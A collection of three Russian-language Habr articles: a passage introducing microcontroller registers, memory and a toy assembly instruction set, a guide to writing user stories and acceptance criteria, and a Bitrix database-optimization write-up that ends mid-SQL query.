Регистры это очень быстрое хранилище, содержащее числа, которыми оперируют инструкции. Можно думать о них, как об используемом инструкциями блокноте. МК содержит немного регистров, обычно 8-32. Например, у MSP430 16 регистров.
Память это тоже хранилище для чисел, но она гораздо объемнее и медленнее чем регистры. У микроконтроллера может быть 64 кБ, 256 кБ или даже более 1 МБ памяти. У MSP430F5529 около 128 кБ памяти; это более чем в 8000 раз превосходит количество его регистров!
Прежде чем мы начнем рассматривать примеры, я призываю вас достать лист бумаги и ручку или карандаш и прорабатывать эти примеры по мере чтения. Прорабатывать их на бумаге сложнее, чем просто читать, что я написал. Таким образом вы внимательнее подойдете к процессу, и шансы на запоминание изученного будут выше.
Давайте рассмотрим вымышленный, но характерный пример микроконтроллера.
Пусть скажем у нашего МК 4 регистра и 8 ячеек памяти. Регистры обычно называют как-нибудь креативно, например «R0», «R1» и т.д., поступим и мы так же. На ячейки памяти обычно ссылаются по их номерам, также называемым адресами памяти, начиная нумерацию с 0. Вот так будут выглядеть наши регистры и память:
И теперь я помещу в них некоторые значения:
Теперь нашему вымышленному микроконтроллеру нужны какие-нибудь инструкции.
Совокупность инструкций, которые знает МК, называется его набором инструкций. Пусть скажем в наборе будет три инструкции: ADD (сложить), SUB (сокращение от «subtract» — вычесть) и MOVE (переместить). Инструкции должны получать откуда-то числа, которыми они оперируют, и также помещать куда-то свои результаты, так что некоторые из них содержат информацию о том, где находятся входные и выходные данные.
Пусть, например, у нашей инструкции ADD два источника и один приемник данных, и все они должны быть регистрами. Руководство может описывать эту инструкцию примерно так:
> ADD регИст, регПрм
>
> Инструкция ADD добавляет значение регистра «регИст» к значению регистра «регПрм» и сохраняет результат в регистре «регПрм»
>
> Резюме: регПрм = регИст + регПрм
>
> Пример: ADD R1, R2 выполняет операцию R2 = R1 + R2
Это общепринято в инструкциях — использовать один из источников также в роли приемника, как делает инструкция ADD, используя регПрм в качестве и источника и приемника данных.
«ADD R1, R2» — это язык ассемблер для микроконтроллера, это нативный язык программирования МК.
Давайте определим SUB в том же стиле:
> SUB регИст, регПрм
>
> Инструкция SUB вычитает значение регистра «регИст» из значения регистра «регПрм» и сохраняет результат в регистре «регПрм»
>
> Резюме: регПрм = регПрм — регИст
>
> Пример: SUB R3, R0 выполняет операцию R0 = R0 — R3
И наконец пусть у инструкции MOVE один источник и один приемник, и либо:
* оба аргумента регистры, либо
* один — регистр и один — ячейка памяти.
Руководство по набору инструкций будет гласить:
> 1. MOVE регИст, регПрм
>
> 2. MOVE памИст, регПрм
>
> 3. MOVE регИст, памПрм
>
> Инструкция MOVE копирует данные из аргумента Ист в аргумент Прм.
>
> Резюме: есть три типа инструкции MOVE
>
> 1. регПрм = регИст
>
> 2. регПрм = мемИст
>
> 3. мемПрм = регИст
>
> Пример: я покажу примеры инструкции MOVE ниже в этом посте.
Одно замечание о слове «move», используемом для этой инструкции: большая часть наборов инструкций используют именно его, хотя в действительности данные копируются, а не перемещаются.
Название «move» может создать впечатление, что операнд-источник инструкции уничтожается или очищается, но на самом деле он остается в покое, модифицируется только приемник.
Давайте пройдемся по нескольким примерам используя наш вымышленный микроконтроллер.
На старте наши регистры и память выглядят так:
Теперь выполним на МК следующую инструкцию:
```
ADD R1, R2
```
Она берет значение R1, складывает его со значением R2 и сохраняет результат в R2. Процессор выполняет большую часть инструкций за одну операцию, но я разобью выполнение каждой инструкции ADD, SUB и MOVE на несколько шагов стрелкой "=>" ведущей через замены (регистр/память => значение):
```
R2 = R1 + R2 =>
R2 = 37 + 100 =>
R2 = 137
```
После выполнения этой инструкции память неизменна, но регистры теперь выглядят следующим образом, с изменившимся значением написанным красным:
Обратите внимание, что R1 неизменен; изменился только регистр-приемник R2.
Следующей давайте попробуем инструкцию SUB:
```
SUB R3, R0
```
Она берет значение R3, вычитает его из значения R0, и сохраняет результат в R0:
```
R0 = R0 - R3 =>
R0 = 42 - 2 =>
R0 = 40
```
После выполнения этой инструкции память неизменна, но регистры теперь выглядят таким образом:
И наконец давайте попробуем пару версий инструкции MOVE:
```
MOVE R2, R0
```
Эта инструкция MOVE копирует в R0 значение R2:
```
R0 = R2 =>
R0 = 137
```
И теперь регистры выглядят так:
Дальше мы скопируем регистр в память:
```
MOVE R3, [3]
```
Эта инструкция MOVE копирует в ячейку памяти 3 значение R3. Квадратными скобками в нашем наборе инструкций обозначаются ячейки памяти.
```
[3] = R3 =>
[3] = 2
```
Регистры неизменны, но память меняется:
И для нашего последнего примера мы скопируем значение из памяти в регистр:
```
MOVE [6], R0
```
Здесь значение ячейки памяти 6 копируется в регистр R0:
```
R0 = [6] =>
R0 = 1
```
Память неизменна, а регистры теперь выглядят следующим образом:
Верите или нет, но если вы поняли большую часть того, что мы только что обсудили насчёт инструкций, регистров и памяти, то вы понимаете основы микроконтроллеров и языка ассемблер.
Конечно я опустил множество деталей. Например, как МК получает инструкции для выполнения?
Есть ли более интересные инструкции, чем только простые математические и инструкции копирования? Память это то же самое, что RAM или флэш, или нет?
Мы ответим на эти вопросы в следующей статье. | https://habr.com/ru/post/503322/ | null | ru | null |
# Гайд по User Stories для Junior BA / PO / PM
Статья будет полезная Junior-специалистам, которые так или иначе работают с документацией на проекте. В статье рассматриваются как сами пользовательские истории, так и критерии, по которым можно написать хорошую историю. Из статьи читатель сможет подчерпнуть и как писать истории, и как правильно дополнить их деталями, и какие детали важны, и как не перегрузить историю.
Содержание:
-----------
[Вводная информация о User Stories](#general-us)
- [Что такое User Stories](#whats-us)
- [Job Stories](#job-stories)
- [Вопросы, которые следует задавать во время написания стори](#writing-questions)
[- Три С в User Story](#3-c)
- [User Personas](#personas)
-- [Отрицательный персонаж](#antihero)
-- [Ключевой персонаж](#key-person)
- [INVEST](#invest)
- [Как добавить деталей к истории?](https://docs.google.com/document/d/1qByh9Y2-4rUaAYDAW7jTLWoCuxZxzOA5cwr18Zk27tQ/edit#heading=h.6n57y2vocjyv)
-- [Acceptance Criteria](#AC)
--- [Что такое АС](#whats-ac)
--- [Что делать, когда надо выбрать одно из нескольких решений?](#EC)
-- [Gherkin](#gherkin)
[Болезни плохих пользовательских историй](#ilnesses)
- [Слишком много информации про функционал в “So that ...”](#too-much)
- [“Исторический” роман](#war-and-peace)
- [Слишком конкретные](#too-specific)
- [“Хочу делать, чтобы делать”](#to-do-to-do)
[Вывод](#exit)
[Источники](#sources)
Вводная информация о User Stories
---------------------------------
### Что такое User Stories
Сейчас User Stories являются одним из главных приемов работы бизнес-аналитиков и Product Owner. Бизнес-стейкхолдеры рассказывают эти истории, чтобы показать команде разработки суть и ценность задачи, которую надо реализовать. Они короткие, написаны деловым языком и поэтому понятны всем заинтересованным лицам проекта.
Дать емкое определение этому приёму сложно. Его внешняя простота заставляет сводить его описание к внешним характеристикам. Поэтому я, как автор, хотел бы дать читателю несколько определений.
В качестве первого ответа приведем «официальное» определение из книги М. Кона "Пользовательские истории: гибкая методология разработки ПО".
> *Пользовательские истории — это краткое описание функциональности, детали которой должны уточняться в ходе устных обсуждений между заинтересованными лицами проекта.*
>
>
Такое определение не помогает разобраться в сути приема и его распространенности среди пользователей. Неужели главное — это записи или то, что детали должны уточняться? Думаю, нет. Поэтому я не бросил копания и начал смотреть другие источники. Множество сайтов предлагает такое определение:
> *User Story -- это короткая запись сути задачи в формате "As a … I want to … so that I can …".*
>
>
Этот ответ тоже не удовлетворил моё любопытство. Такое определение ставит во главу угла формат. Ведь User Story может существовать и без какой-то части (*As a user, I want to save data*) и быть написанной без обсуждения интровертным продакт-овнером. Но самое главное — об этом будет ниже — User Story может быть написана по совершенно иному формату!
Пройдя круг обсуждений с ментором, прочитав и посмотрев много статей и видео, я понял, что главное в пользовательской истории — это **ценность**, которую пользователь получит от функции. Поэтому я попытался сгенерировать определение:
> *User Story -- это приём записи требований, который помогает команде разработки понять нужду клиента и после обсуждения выбрать, описать и утвердить то решение, которое удовлетворит эту нужду.*
>
>
Чтобы понять, чем является сама нужда, давайте рассмотрим следующий пример. Человек хочет есть. Так, мы можем накормить человека рыбой. И тогда он будет сыт целый день.Но в этом ли настоящая нужда этого человека? Вряд ли, ведь завтра человек проголодается. Внимательный читатель уже догадался, что главная нужда человека -- *инструмент, которым можно добыть еду* (например, *удочка*).
Очень важно отметить, что история и ее ценность может быть направлена не только на какую-то группу пользователей. Она может быть направлена на команду разработки (обновить компонент, добавить компонент, переделать код...), Product Owner или представителей бизнеса.
> Далее в статье я использую однострочные примеры пользовательских историй: "*Как Х, я хочу Y, чтобы Z*". Тем не менее, многие аналитики использую другой подход, который считается даже более каноничным.
>
> Так, истории пишутся в три строки:
>
> *Как Х,
> Я хочу Y,
> Чтобы Z.*
>
>
### Job Stories
В целом Job Stories — схожая с US техника. Можно назвать их приёмом-субститутом, ведь обычно они не используются вместе и выполняют максимально похожую функцию. Job Stories представляют требование в виде действия, которое выполняет пользователь. Они не описывают саму функцию, а лишь концентрируют внимание команды на потребности.
Job Stories концентрируются на психологической части фичи, на эмоциях, тревогах и прочем, что может возникнуть во время использования функции.
«Тело» JS делится на три части:
* **Situation**: дает контекст обо всей JS, который помогает dev-команде придумать возможное решение.
* **Motivation**: описывает невидимую руку, которая ведет юзера к использованию данной функции.
* **Expected Outcome**: описывает, что получит юзер после использования функции.
Job Stories могут писаться по двум форматам:
1. В одну строку:
*When X I want to Y so I can Z" или "When X, actor is Y so that Z.*
2. В три строки:
When X
I want to Y
So I can Z.
Пример:
> *When I want to withdraw money from my bank account, I want to know I have enough money in my account to withdraw some now so that I can go out to dinner with my friends.*
>
>
### Вопросы, которые следует задавать во время написания стори
Во время написания истории для аналитика важен не только её текст, но и то содержание - ценность, проблема - которая описывается этим текстом. Чтобы написать историю, которая сможет решить проблему пользователя, аналитику надо лучше понять пользователя и задать себе следующие вопросы.
* Решает ли это настоящую проблему юзера?
* Есть ли у такого решения какие-либо side effects? Влияет ли это на продукт в целом?
* Какие последствия от такого решения?
Вопросы можно задать и стейкхолдерам. Например, первый вопрос имеет смысл адресовать Product Owner в команде которого вы работае. А второй и третий - самой команде разработки, они наверняка смогут указать на какие-то подводные камни.
А при работе с другими стейкхолдерами и выяснении первопричин нужды у них аналитик может использовать знаменитый приём «5 почему?».
Пример работы техники "5 почему".### Три С в User Story
Первое определение говорит о коммуникации и карточках, но не упоминает согласие. Эти три понятия образуют "the 3 C's of User Stories".
* **Card** — по задумке автора метода истории пишутся на физических карточках. В реальности они пишутся в Jira и Confluence, поэтому мы не так ограничены в детальности.
* **Conversation —** каждая стори — это множество митингов вокруг нее, которые и направлены на понимание деталей.
* **Confirmation —** перед началом работы клиент дает согласие на данное решение, а команда полностью уверена в выполнимости решения.
### User Personas
Этот метод представляет собой детализированное описание пользователя продукта. Описание пользователя должно быть конкретным и детальным, ведь по его описанию члены команды должны понять, что это целевая аудитория приложения, которое они делают.
Создавая четкого и детального персонажа, аналитик требований или Product Owner уменьшает вероятность того, что нужды пользователя будут забыты или заменены на нужды тех членов проектной команды, которые ставят себя на место пользователей.
Карточка персонажа не обязана быть полностью правильной, но она обязана содержать максимальное количество деталей.
Наиболее важными деталями персонажа являются его имя, место работы (роль в системе), место проживания. Причём имя и роль в будущем могут использоваться и при написании историй:
> *Как* ***Георгий****, я хочу печатать документы, чтобы я мог работать над ними вне компьютера.*
>
>
Стоит также отразить маркетинговые характеристики персонажа такие как предпочитаемые бренды, блюда, увлечения и хобби. Эти характеристики важны не только, чтобы знать для кого мы создаем ПО, но и как его рекламировать и продавать. Описание должно также раскрывать и характер персонажа. Он веселый или чаще хмурится? Он делится информацией в соцсетях или вовсе не ведет их?
В описании следует отразить и задачи, которые наиболее важны для персонажа в его работе с системой. Это поможет всей команде увидеть нужды персонажа и поможет создать стимул для покупки премиум-версии или подписки.
Не стоит забывать и об еще одной важной детали. Персонажи не могут «гулять» из продукта в продукт, но человек, который создаёт их описание, может обращаться к давно созданным образам как за вдохновением, так и за шаблоном описания.
Создав одного персонажа, можно отдохнуть и насладиться проделанной работой. Однако не стоит останавливаться, так как именно набор персонажей (от 3 до 10) поможет в будущем выстроить систему, которая поможет приоритизировать истории, благодаря пониманию того, что нужно тому или другому персонажу. А если что-то нужно двум из трех персонажей, то следует бросить все силы на эту функцию.
#### Что же в сухой практике использования User Personas?
На практике автор статьи убедился, что команде не важны многие вещи из описания Persona: бренды, биография, боязни... Я думаю, что наиболее актуальная информация, которую следовало бы поместить в описание Persona -- это роль в системе, цели от ее использования, а также основные кейсы.
#### Отрицательный персонаж
Не все персонажи должны создаваться, чтобы показать пользователей системы. Задача некоторых указать, кому в приложении нет места.
*Например.*
> *Создавая любое приложение для такси, мы вспомним, что в процессе заказа традиционно есть 3 участника: клиент, водитель, оператор. Скорее всего, задачей нашего приложения будет автоматизация работы оператора так, чтобы клиент мог связаться с водителем напрямую. В таком случае самому оператору в системе не будет места.*
>
>
#### Ключевой персонаж
Ключевыми персонажами являются те, для кого и будет проводиться проектирование решения. Такой персонаж олицетворяет группу пользователей, которая будет либо чаще всего пользоваться приложением, либо имеет какие-то особенности, из-за которых им следует пользоваться приложением иначе. Такие персонажи заслуживают отдельных интерфейсов в системе.
*Например.*
> *Давайте вернемся к приложению для саппорта. В нем оба персонажа, которые всё-таки будут пользоваться системой, будут ключевыми. Так, тому, кто будет устранять жалобы, нужен интерфейс, который показывает жалобы и помогает выстроить маршрут. В тоже время клиенту, скорее всего, нужно посмотреть все его жалобы и оставить новую.*
>
>
### INVEST
По критериям INVEST мы можем судить, хорошо ли написана User Story и можно ли над ней работать.
#### I — Independent — Независимый
Следует избегать зависимости между историями, так как иногда это приводит к проблемам во время имплементации. (пример: *задача А не может быть реализована без задачи Б, однако задача А — очень важна, а Б лишь желательно иметь в готовом продукте*).
На практике это стремление не всегда достижимо. Например, в случае зависимости нескольких историй друг от друга, следует искать другой способ разбить их.
*Пример.*
> *Мы хотим добавить в наш продукт поддержку банковских карт MasterCard, Visa и третьей системы. Тогда проще всего разделить эту стори на три. В первой, самой большой, разработчик должен добавить поддержку банковских карт в целом и какую-то из списка. А остальные две могут пойти в другую стори, которая зависит от первой.*
>
>
#### N — Negotiable — Обсуждаемый
После написания черновика истории следует обсудить ее со стейкхолдерами и, возможно, внести изменения, исправить ошибки. В ходе обсуждения команда ещё не говорит о том, как данная история будет реализована, а обсуждается лишь то, как будет удовлетворяться нужда пользователя.
#### V — Valuable — Ценный
Каждая User Story должна нести пользу как пользователю, так и продукту, а описание должно создаваться так, чтобы ценность была наиболее очевидна. Так команда разработки будет понимать, зачем это нужно реализовывать.
Если ценность историй, которые несут новый функционал или улучшают старый, очевидна, то с теми, которые завязаны на технической стороне продукта, не все так очевидно. Но и истории, в рамках которой команда избавляется от легаси-кода, делает рефакторинг или переносит старый функционал на новую инфраструктуру (например, в новую базу данных) несут ценность для как для продукта, так и для пользователя. Скорее всего, пользователь ощутит их благодаря улучшению отзывчивости или скорости работы системы. Это следует отразить в описании такой задачи.
#### E — Estimable — Оцениваемый
История должна быть настолько ясно написана, чтобы у разработчика было достаточно понимания ведь без него он сможет выдать оценку, близкую к правде. Есть три причины, почему dev не может выдать оценку:
* история слишком большая;
* в описании недостаточно данных;
* разработчику нужно больше опыта.
Однако подробнее об оценках поговорим в отделе “Оценка историй”.
#### S — Small — Компактный
Этот пункт говорит не о самом описании под историей, а о ее размере, времени на реализацию. На многих проектах команды устанавливают рамки, в которые должна уместиться история. Так, часто можно услышать о правиле, согласно которому история должна укладываться в рабочий день. Однако на других же пользовательской историей может считаться функция, на реализацию которой нужно несколько месяцев времени разработчика.
#### T — Testable — Тестируемый
Суть этого пункта не только в том, что команда тестировщиков должна понимать, что проверять, но и в том, что пользовательская история должна обладать чем-то, что можно посмотреть, запустить.
Однако не стоит забывать, что стоит писать истории так, чтобы QA-команда могла понять, какие кейсы и сценарии ей тестировать. Для создания этого понимания аналитику требований следует пользоваться критериями приемки и описанием сценариев по Gherkin. Подробнее об этих приемах можно прочитать в разделе “Как добавить деталей к истории”.
Как добавить деталей к истории?
-------------------------------
Очень важно понимать, что когда работа над "телом" стори закончена, начинается работа над деталями, которые и помогут команде понять, что надо реализовать. Среди способов добавить детали самыми знаменитыми являются Acceptance Criteria и сценарии по Gherkin.
### Acceptance Criteria
#### Что такое АС
Элемент User Stories, который дополняет их так, что команда начинает видеть историю в деталях. Этот инструмент помогает понять, что должно быть сделано, чтобы удовлетворить потребность бизнеса.
АС помогают увидеть фичу с точки зрения конечного пользователя, установить границы фичи и создать понимание того, что должно быть сделано и что будет проверяться.
Их надо понимать максимально буквально, потому что это те критерии по которым мы понимаем, выполнена история или нет.
#### Для чего нужны
1. Показывают фичу с точки зрения конечного юзера.
2. Для понимания задач бизнеса.
3. Достижения консенсуса с бизнесом относительно какой-то стори.
4. Служат базой для тестов.
5. Помогают эстимировать стори.
#### Правила написания
1. Мы пишем их не в форме should, а в настоящем времени (суть в том, что человек читает и видит, какими "способностями" обладает юзер или система).
2. Должны быть проверяемы. -> pass/fail result прописан четко.
3. Должны быть измеримы.
4. Пишутся ДО работы над задачей.
5. Включают функциональные и нефункциональные критерии.
6. Содержат примеры.
1. *Пользователь может выбрать цвет. Пример: есть дропдаун с цветами.*
7. Не слишком узкие (привязаны к одному юз-кейсу-примеру) и не слишком широкие (понятно где сделано и как работает).
8. Не содержат технического арго.
#### Что делать, когда надо выбрать одно из нескольких решений?
Тогда на помощь приходит Evaluation Criteria. Используются, чтобы оценить ценность нескольких решений и выбрать нужное.
*Пример.*
> *Компания хочет пообедать в итальянском веганском ресторане, где играет живая испанская гитара. Тогда ресторан, который подойдёт, должен соответствовать трем критериям:*
>
> *1. Ресторан должен быть итальянским.
> 2. Ресторан должен быть должен подавать вегетарианские блюда.
> 3. В ресторане играет живая испанская гитара.*
>
>
### Gherkin
Gherkin - это способ описания сценариев использования систем, который понятен разработчикам, тестировщикам, бизнесу. Он строится по строгому синтаксису и потому позволяет "обходить" многие вольности естественного языка.
Эти сценарии используются чаще всего для описания критериев приёмки и могут стать отличным помощником для автоматизации тестирования. Их большим минусом является нечитабельность, ведь сценарии представляют из себя длинные тексты, в то время как АС - это чаще всего 1-2 строчки текста.
*Пример:*
`Scenario: Dr Bill posts to his own blog.
GIVEN I am logged in as Dr Bill
WHEN I try to post to my blog
THEN I should see "Your article was published"`
#### Базовый синтаксис Gherkin
* **Given** - это тоже самое, что Precondition в Use Case. То, что должно быть выполнено перед началом сценария.
* **When** - то, что приводит в действие систему; главная суть этого юзкейса.
* **Then** - то, что должно произойти в конце юзкейса.
* **And** - для усложнения сценария вместе с given, when, then. Считается плохим тоном перегружать сценарий большим количеством *and*-конструкций, показывает, что в нем слишком много деталей.
* **But** - используется с Then и указывает на то, что не должно случиться как итог юзкейса.
* **Feature** - объединение множества сценариев в одну функцию. Включает сторю, АС и сценарии этой стори.
* **Background** - устанавливает precondition сразу для всех сценариев, чтобы не переписывать.
* **Scenario Outline / Examples** - используются вместе, чтобы скомбинировать несколько сценариев, где попадаются разные сообщения.
*Пример:*
*1) Пишется сценарий-скелет.*
`Scenario Outline: Dr Bill posts to his own blog.
Given I Have published
When I try to post a new blog
Then I should see`
*2) Создается таблица с примерами.*
*В данном примере мы должны показать связь между количеством постов в блоге и тем, какое сообщение увидит пользователь.Например:*
| | |
| --- | --- |
| Number of blogs | Message |
| >5 | *Your article was published.* |
| 5 or <5 | *Please, pay for posting.* |
* **Tags** - средство для группировки сценариев (в тегах можно указывать тикеты, особенности системы, группы пользователей и пр.)
* **Steps** - это Given, When, Then в виде нумерованных шагов**.**
#### Короткий отзыв об использовании Gherkin
Сложно сделать однозначный вывод относительно полезности Gherkin. Я много раз пытался начать постоянно использовать его на проекте. Gherkin отлично подходит для описания сложных сценариев с ветвлением, вариантами. Тем не менее, этот способ не вызвал положительные отзывы со стороны (вообще не вызвал) команды разработки или тестирования. Получается так, что балом в "деталях" к историям правят критерии приёмки - именно на них команда смотрит чаще всего во время оценки и изучения задач.
Болезни плохих пользовательских историй
---------------------------------------
Как не все фломастеры красные, так и не все пользовательские истории хорошие. Существует несколько типичных черт, которые характерны плохим историям. Давайте рассмотрим наиболее распространенные из них.
### Слишком много информации про функционал в “So that ...”
“So that” - это часть про ценность истории, а не функции, которые будут в её рамках реализованы.
*Антипример.*
> *Как посетитель кафе, я хочу, чтобы мой заказ сохранялся где-то, чтобы я мог смотреть историю заказов, распечатать чеки, отправить чеки по email.*
>
>
Потенциальная проблема из этой истории в том, что команда видит “*заказ сохранялся где-то*”, то на этом и заканчивает рассмотрение истории, эстимацию, так как думает, что задача-то и не очень сложная, а ведь тут так много функционала!
*Пример возможного решения.*
> *Как посетитель кафе, я хочу смотреть историю заказов, видеть чеки, печатать чеки, чтобы я мог изменять чеки, сравнивать их, отправлять новые заказы в ресторан.*
>
>
Мы расширили часть “*I want...*”, чтобы каждая “хотелка” из третьей части истории была соотнесена с функцией из второй части. Так команда *точно* увидит, что задача не такая простая и там есть над чем подумать.Но даже такая история не становится хорошей, ведь кто угодно замучается читать такой длинный “исторический роман”.
### “Исторический” роман
Истории должны быть короткими. В идеале они должны помещаться на канцелярский стикер, который должен клеиться на реальную доску.
*Антипример.*
> *Как посетитель кафе, я хочу смотреть историю заказов, видеть чеки, печатать чеки, чтобы я мог пересматривать их, сравнивать их, отправлять такие же заказы в ресторан.*
>
>
Как поступить с такой большой историей? Её следует разделить на несколько!
*Пример.*
> *Как посетитель кафе, я хочу смотреть историю заказов, чтобы я мог сделать такой же заказ в будущем.*
>
> *Как посетитель кафе, я хочу видеть чеки, чтобы я сравнивать их.*
>
>
### Слишком конкретные
История - не место для деталей. Переполненность истории негативно скажется на нескольких аспектах. Во-первых, она не оставляет места для творчества разработчику - он становится просто руками, которые делают, что сказали; во-вторых, детали превращают историю в исторический роман.
*Антипример.*
> *Как посетитель ресторана, я хочу, чтобы разные виды продуктов были обозначены разными цветами (мясо - #FF0000, крупы - #A52AFA, овощи - #808000), чтобы я мог легко различать их.*
>
>
Лучший способ улучшить такую историю - убрать конкретные примеры. Если в самих цветах есть какая-то важность, их можно поместить в критерии приемки.
*Пример.*
> *Как посетитель ресторана, я хочу, чтобы разные виды продуктов были обозначены разными цветами, чтобы я мог легко различать их.*
>
> *1. Для мяса используется цвет #FF0000.
> 2. Для круп используется цвет #A52AFA.
> 3. Для овощей используется цвет #808000.*
>
>
### “Хочу делать, чтобы делать”
Одной из распространенных хворей историй является главной болезнью плохой пользовательской истории автор считает истории “*хочу Х чтобы Х*”.
*Антипример:*
> *Как человек, гуляющий в жару, я хочу мороженое, чтобы съесть мороженое.*
>
>
История из примера не отражает ценность, только средство ее достижения. Предполагаю, что человек хочет мороженое, чтобы палящее июльское солнце не довело его солнечного удара.
Вывод
-----
Пользовательские истории - это очень полезный формат описания требований. Он позволяет команде разработки придумать именно то решение, которое удовлетворит потребность конечного пользователя.
Но не стоит забывать, что сами истории - это верхушка задачи. Очень важно аккуратно дополнить историю примерами и деталями, которые будут направлять команду во время имплементации решения.
Источники
---------
1. When Is a Story Done? Three Criteria to Decide, - Atomic Object. URL: <https://medium.com/@atomicobject/when-is-a-story-done-three-criteria-to-decide-1979c7edd1fe>
2. What is Acceptance and Evaluation Criteria in the context of Business Analysis?, - Business Analysis Excellence. URL: https://business-analysis-excellence.com/acceptance-evaluation-criteria-context-business-analysis/#:~:text=In%20the%20case%20of%20a,'%20or%20'a%20fail
3. Gherkin for Business Analysts, - Hewitt, Ryan. URL: <https://www.modernanalyst.com/Resources/Articles/tabid/115/ID/3810/Gherkin-for-Business-Analysts.aspx>
4. Agile Extension to BABOK, - IIBA.
5. Business Analysis Body Of Knowledge, - IIBA.
6. 10.1 Acceptance and Evaluation Criteria. URL: https://www.slideshare.net/maddyiscrazy/101-acceptance-and-evaluation-criteria
7. 7 Tips for Writing Acceptance Criteria with Examples, - Prasad, Durga. URL: https://agileforgrowth.com/blog/acceptance-criteria-checklist/
8. Identifying and Improving Bad User Stories, - Suscheck, Charles; Fuqua, Andrew. URL: https://www.agileconnection.com/article/identifying-and-improving-bad-user-stories
9. Разработка требований к программному обеспечению, - Вигерс, Карл.
10. Пользовательские истории гибкая разработка программного обеспечения, - Кон, М.
11. Пользовательские истории. Искусство гибкой разработки ПО, - Паттон, Дж.
12. Психбольница в руках пациентов, - Купер, А. | https://habr.com/ru/post/577420/ | null | ru | null |
# Как профессиональный интерес украл у меня выходные
Всем доброго времени суток! После прочтения данной статьи ([Интернет-магазин цветов, или как мы облажались на День Святого Валентина](https://habrahabr.ru/post/351396/)) решил поделиться опытом оптимизации одного из сайтов на Битриксе. По неизвестной причине именно эта статья дала решительный пинок поделиться своим опытом. Хочется верить, что мой рассказ сэкономит кому-то драгоценное время (из-за моей черты «доводить все до конца» я потратил 2 выходных для достижения цели. Не хотелось бросать клиента без рабочего сайта на выходных), и, надеюсь, что более опытные коллеги укажут на мои ошибки.
В пятницу мне достался сайт на битриксе с каталогом автозапчастей и бд размером 3.2 ГБ. Проблема: сайт либо совсем не отдавал страницу, либо за время ожидания можно было забыть зачем зашел на этот сайт. Какие попытки я предпринимал и чего удалось добиться в итоге расскажу под катом.
Итак, более предметно, параметры старого хостинга:
* VDS;
* 8 GB ОЗУ (на новом хостинге 4GB);
* 40GB SSD;
* bitrix environment 5.\* (на новом хостинге чистая версия 7.0);
* PHP 5.6 (на новом хостинге PHP 7.0);
* MySql 5.5.\*;
* файловое кеширование битрикса;
* агенты выполняются на хитах.
Обычно я предпринимаю следующие шаги по оптимизации сайта на битрикс (VDS), но в этот раз ощутимых результатов это не дало:
* перенос выполнение агентов с хитов на крон ([подробней](https://dev.1c-bitrix.ru/learning/course/index.php?COURSE_ID=43&LESSON_ID=2943&LESSON_PATH=3913.4776.4620.4978.2943));
* настройка memcached ([подробней](https://dev.1c-bitrix.ru/learning/course/index.php?COURSE_ID=32&LESSON_ID=5505));
* в этот раз добавился перенос на новый хостинг с обновленными компонентами (php, mysql и т.д.)
Когда решил развернуть локальную версию меня сильно удивила бд сайта размером 3.2 Гб, особенно таблица **b\_sale\_fuser** (2.4 Гб), которая отвечает за корзины посетителей. Как оказалось в ней находились данные еще с 2014 года. Когда заглянул внутрь этой таблицы, то заметил несколько особенностей:
* 80% данных были только за последний месяц (всего 17+ млн записей);
* записи создавались с периодичностью в несколько секунд. Стандартный метод по очистке брошенных корзин попросту не справлялся;
* в таблице три индекса, а это значит, что при изменении данных в ней, индексы будут обновляться, что влечет дополнительные расходы на ресурсы;
На этом этапе сделал предположение, что проблема кроется в использовании метода **CsaleBasket::GetBasketUserID(bSkipFUserInit)** без дополнительного параметра. Нюанс заключается в том, что параметр **bSkipFUserInit** отвечает за создание записи в таблице, даже если клиент еще ничего не положил в корзину. Моя догадка подтвердилась, когда в одном из файлов **result\_modifier.php** нашел вызов злополучного метода без необходимо параметра. Исправив этот момент и очистив таблицу от неактуальных данных (в районе 3-ех часов, т. к. мускуль постоянно отваливался, а данные необходимо было удалять еще из связанных таблиц. Все это выполнялось стандарными методами битрикса, о чем я позже пожалел. Более подробно сообщу в выводах. После очистки кол-во записей сократилось с 19+ млн до 400+ тыс, что благотворно сказалось на работе локальной версии, однако результат все равно не устраивал. Страница стала отдаваться через 20-30 секунд, а раньше за несколько минут.
Далее было принято решение искать медленные запросы. Т.к. мы используем bitrixenv, то порядок команд на редактирование мускуль-конфига выглядит так:
```
nano /etc/mysql/bx/bvxat.cnf
# добавляем строки в файл
log_slow_queries = /var/log/mysql/mysql-slow.log
long_query_time = 1
service mysqld restart
```
По прошествии было обнаружено два запроса, которые выполнялись по 300+ сек (см. ниже). Один из них показывал 4 рандомных товара из всего каталога. На тот момент решил закомментировать вызов этого компонента до лучших времен. А вот второй просто так уже не исключишь, т. к. он отвечает за формирование главного меню (см. ниже).
**Sql-запрос**
```
Tcp port: 3306 Unix socket: /var/lib/mysqld/mysqld.sock
Time Id Command Argument
# Time: 180318 18:30:07
# User@Host: bitrix[bitrix] @ localhost []
# Thread_id: 96 Schema: testdb QC_hit: No
# Query_time: 301.414008 Lock_time: 0.000324 Rows_sent: 13 Rows_examined: 260456
use testdb;
SET timestamp=1521387007;
SELECT DISTINCT
BS.*,
B.LIST_PAGE_URL,
B.SECTION_PAGE_URL,
B.IBLOCK_TYPE_ID,
B.CODE as IBLOCK_CODE,
B.XML_ID as IBLOCK_EXTERNAL_ID,
BS.XML_ID as EXTERNAL_ID,
DATE_FORMAT(BS.TIMESTAMP_X, '%d.%m.%Y %H:%i:%s') as TIMESTAMP_X,
DATE_FORMAT(BS.DATE_CREATE, '%d.%m.%Y %H:%i:%s') as DATE_CREATE
,COUNT(DISTINCT BE.ID) as ELEMENT_CNT
FROM b_iblock_section BS
INNER JOIN b_iblock B ON BS.IBLOCK_ID = B.ID
INNER JOIN b_iblock_section BSTEMP ON BSTEMP.IBLOCK_ID = BS.IBLOCK_ID
LEFT JOIN b_iblock_section_element BSE ON BSE.IBLOCK_SECTION_ID=BSTEMP.ID
LEFT JOIN b_iblock_element BE ON (BSE.IBLOCK_ELEMENT_ID=BE.ID
AND ((BE.WF_STATUS_ID=1 AND BE.WF_PARENT_ELEMENT_ID IS NULL )
AND BE.IBLOCK_ID = BS.IBLOCK_ID
)
AND BE.ACTIVE='Y'
AND (BE.ACTIVE_TO >= now() OR BE.ACTIVE_TO IS NULL)
AND (BE.ACTIVE_FROM <= now() OR BE.ACTIVE_FROM IS NULL))
WHERE 1=1
AND BSTEMP.IBLOCK_ID = BS.IBLOCK_ID
AND BSTEMP.LEFT_MARGIN >= BS.LEFT_MARGIN
AND BSTEMP.RIGHT_MARGIN <= BS.RIGHT_MARGIN
AND BSTEMP.GLOBAL_ACTIVE = 'Y'
AND ((((BS.ACTIVE='Y'))))
AND ((((BS.GLOBAL_ACTIVE='Y'))))
